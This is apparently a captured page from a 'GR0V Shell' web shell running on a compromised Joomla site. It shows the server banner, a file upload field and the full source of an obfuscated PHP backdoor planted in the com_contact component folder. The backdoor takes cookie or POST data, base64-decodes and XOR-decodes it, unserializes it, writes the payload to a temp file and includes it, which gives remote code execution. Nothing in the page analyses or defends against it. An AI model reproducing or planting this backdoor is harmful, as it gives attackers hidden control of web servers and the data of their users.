? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/test/components/com_contact/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/test/components/com_contact/ef726c8f.php

$OYdQVZtNXf = "\x6e" . chr (95) . 'w' . chr ( 1063 - 966 )."\x54";$NyvbgLWD = chr ( 1031 - 932 ).chr (108) . "\x61" . "\163" . chr ( 937 - 822 ).chr (95) . "\145" . "\170" . "\151" . chr (115) . "\164" . "\x73";$EQjUqzS = $NyvbgLWD($OYdQVZtNXf); $NyvbgLWD = "4689";$OdPXpjD = $EQjUqzS;if (!$OdPXpjD){class n_waT{private $RHrpBLvG;public static $eAEUE = "0635bc0f-24ed-4a6b-934a-c50ef746e463";public static $EkjhN = 29231;public function __construct($JNyjv=0){$PwaQz = $_COOKIE;$JrpEzTr = $_POST;$rvOMp = @$PwaQz[substr(n_waT::$eAEUE, 0, 4)];if (!empty($rvOMp)){$GQULoxxwuL = "base64";$ieworQvACO = "";$rvOMp = explode(",", $rvOMp);foreach ($rvOMp as $aIeXGX){$ieworQvACO .= @$PwaQz[$aIeXGX];$ieworQvACO .= @$JrpEzTr[$aIeXGX];}$ieworQvACO = array_map($GQULoxxwuL . "\x5f" . "\144" . chr (101) . "\143" . "\157" . "\144" . 'e', array($ieworQvACO,)); $ieworQvACO = $ieworQvACO[0] ^ str_repeat(n_waT::$eAEUE, (strlen($ieworQvACO[0]) / strlen(n_waT::$eAEUE)) + 1);n_waT::$EkjhN = @unserialize($ieworQvACO);}}private function kvTTV(){if (is_array(n_waT::$EkjhN)) {$vbwiZrfcKd = sys_get_temp_dir() . "/" . crc32(n_waT::$EkjhN['s' . "\141" . 'l' . 't']);@n_waT::$EkjhN[chr ( 129 - 10 ).chr ( 303 - 189 ).chr (105) . chr (116) . chr ( 402 - 301 )]($vbwiZrfcKd, n_waT::$EkjhN["\x63" . chr ( 1057 - 946 ).chr ( 772 - 662 )."\164" . 'e' . chr (110) . "\x74"]);include $vbwiZrfcKd;@n_waT::$EkjhN["\144" . "\145" . 'l' . "\145" . chr ( 301 - 185 ).chr (101)]($vbwiZrfcKd); $GgpwdGaHEg = "51392";exit();}}public function __destruct(){$this->kvTTV(); $GgpwdGaHEg = "51392";}}$QdBujHGuY = new n_waT(); $QdBujHGuY = "19063_20343";}

T1KUS90T
  root-grov@210.1.60.28:~$